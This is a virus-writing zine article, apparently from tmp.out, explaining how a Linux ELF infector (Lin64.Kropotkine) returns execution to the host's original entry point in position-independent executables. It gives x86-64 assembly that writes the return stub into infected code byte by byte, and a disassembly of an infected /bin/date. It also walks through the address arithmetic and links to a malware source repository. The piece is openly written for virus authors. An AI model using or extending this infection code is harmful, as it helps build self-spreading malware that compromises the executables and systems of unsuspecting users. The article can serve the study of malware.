▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
                                                           │ █   █ █ █ █   █       │
                                                           │ █   █ █ █ █▀▀▀▀       │
                                                           │ █   █   █ █     ▄     │
                                                           │                 ▄▄▄▄▄ │
                                                           │                 █   █ │
                                                           │                 █   █ │
                                                           │                 █▄▄▄█ │
                                                           │                 ▄   ▄ │
                                                           │                 █   █ │
                                                           │                 █   █ │
                                                           │                 █▄▄▄█ │
                                                           │                 ▄▄▄▄▄ │
                                                           │                   █   │
Return To Original Entry Point Despite PIE                 │                   █   │
~ S01den                                                   └───────────────────█ ──┘

Written with love by S01den, from the tmp.out crew !

--- 1) Introduction ---

When I took my first steps in the world of viruses, one of the first things I 
struggled with was how to correctly return to the original entry point of the host.
It's a core functionality of every virus worthy of the name, and was really easy to
implement in the past (mov ebx, OEP ; jmp ebx).

You might be wondering "Why it's not as easy anymore ?"

The answer fits in 3 letters: PIE, standing for Position Independent Executable. In 
such binaries, the addresses of instructions are randomized at every execution
(despite an alignment). So the OEP isn't a constant anymore, we now have to 
calculate it before being able to jump on.

Let's see how do we do that !

--- 2) Ret to OEP despite PIE ---

I'll describe here the method I used to compute Ret2OEP in Lin64.Kropotkine[0].
I was stuck some days and a paper of Elfmaster[1] showed me the light.

So here is the code:

-------------------------------- CUT-HERE ------------------------------------------
mov rcx, r15 ;r15 holds the addr where the code of our vx is stored (in the stack)
add rcx, VXSIZE ; rcx now contains the first addr after the code of the vx
mov dword [rcx], 0xffffeee8 ; relative call to get_eip (which is 13 bytes before)
mov dword [rcx+4], 0x0d2d48ff ; sub rax, (VXSIZE+5)
mov byte  [rcx+8], 0x00000005
mov word  [rcx+11], 0x0002d48
mov qword [rcx+13], r9		 ; sub rax, entry0
mov word  [rcx+17], 0x0000548
mov qword [rcx+19], r12		; add rax, sym._start
mov dword [rcx+23], 0xfff4894c 	; mov rsp, r14
mov word  [rcx+27], 0x00e0		; jmp rax

As you can see, we write the code to ret to OEP bytes per bytes, directly in
memory (after the code of the virus, so that we can jump on this routine when 
the previous viral code finished to execute) in the set of bytes we'll write 
in the host to infect. We want to obtain something like this:

(this code comes from my /bin/date which I infected with Lin64.Kropotkine)

-------------------------------- CUT-HERE ------------------------------------------
; end of the vx code:
0x0c01ada3      488b0424       mov rax, qword [rsp]
0x0c01ada7      c3             ret
0x0c01ada8      e842fbffff     call 0xc01a8ef          ; call main
0x0c01adad      2e0000         add byte cs:[rax], al   ; '.'
; <---- end of the virus code, we want to inject our ret2OEP code here !
; the code we want to have here:
0x0c01adb0      e8eeffffff     call 0xc01ada3 ; call get_rip <--
0x0c01adb5      482d0d050000   sub rax, 0x50d ; sub rax, (VXSIZE+5)
0x0c01adbb      482da8a8010c   sub rax, entry0
0x0c01adc1      4805b0380000   add rax, 0x38b0 ;  add rax, sym._start
0x0c01adc7      4c89f4         mov rsp, r14 ; to restore the orignal stack
0x0c01adca      ffe0           jmp rax

Basically, the idea for computing OEP is not really complicated.
Let assume that the offset of the first instruction of the original code of the host
to be executed (so the non-randomized OEP) is 0x38b0, and that RIP is currently
0x55556156edb5 (a randomized address) when we call get_rip (0x0c01adb0 in the code 
above). We want to know the randomized address of the OEP to be able to jump to it.

Well, call get_rip put RIP in RAX, knowing that we first have to substract RAX
(0x55556156edb5) to the size of the virus (plus 5, the size of the instruction call
get_rip) to have the randomized address of the beginning of the virus code:

---> 0x55556156edb5 - (0x508 + 5) = 0x55556156e8a8 ; the address of the first
instruction of the vx code

Now, we substract this with the new entry point, the non-randomized address of the
beginning of the virus code (which was computed before in the virus execution, 
0xc01a8a8 in our case).

In fact we simply do that:

---> randomized new entry point - non-randomized new entry point (e_hdr.entry)

So with our values we get something like this:

---> 0x55556156e8a8 - 0xc01a8a8 = 0x555555554000

We did this substraction to extract the "base" of randomization. With this value now
in our hands, we just have to add it the original e_hdr.entry
(the non-randomized OEP):

---> 0x555555554000 + 0x38b0 = 0x5555555578b0

You obtain a correct address where you can jump !
So jmp rax will start the execution of the original code of the host !

--- Conclusion ---
To sum up, we've just done something like this:

---> get_rip() - (VX_SIZE + 5) - new_EP + original-e_hdr.entry

Quick maffs as you can see ! ;)
Long live to the vx scene !
Here there is authority, there is no freedom.
All is for all.
Hasta siempre!

--- Notes and References ---
[0] https://github.com/vxunderground/MalwareSourceCode
[1] Modern ELF Infection Techniques of SCOP Binaries:
    - especially the part named: "Note on resolving Elf_Hdr->e_entry
      in PIEexecutables"

--- Source ---

- Linux.Kropotkine.asm